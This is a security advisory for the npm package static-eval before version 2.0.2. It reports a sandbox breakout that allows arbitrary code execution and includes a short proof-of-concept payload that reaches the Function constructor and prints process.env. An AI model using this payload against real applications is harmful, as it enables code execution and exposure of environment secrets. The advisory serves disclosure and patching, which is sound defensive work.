GHSA-x9hc-rw35-f44h – static-eval
Package
Manager: npm
Name: static-eval
Vulnerable Version: >=0 <2.0.2
Severity
Level: High
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS: N/A pctlN/A
Details
Sandbox Breakout / Arbitrary Code Execution in static-eval Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. ## Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ``` ## Recommendation Upgrade to version 2.0.2 or later.
Metadata
Created: 2020-09-02T15:46:03Z
Modified: 2021-09-27T13:40:52Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-x9hc-rw35-f44h/GHSA-x9hc-rw35-f44h.json
CWE IDs: ["CWE-94"]
Alternative ID: N/A
Finding: F416
Auto approve: 1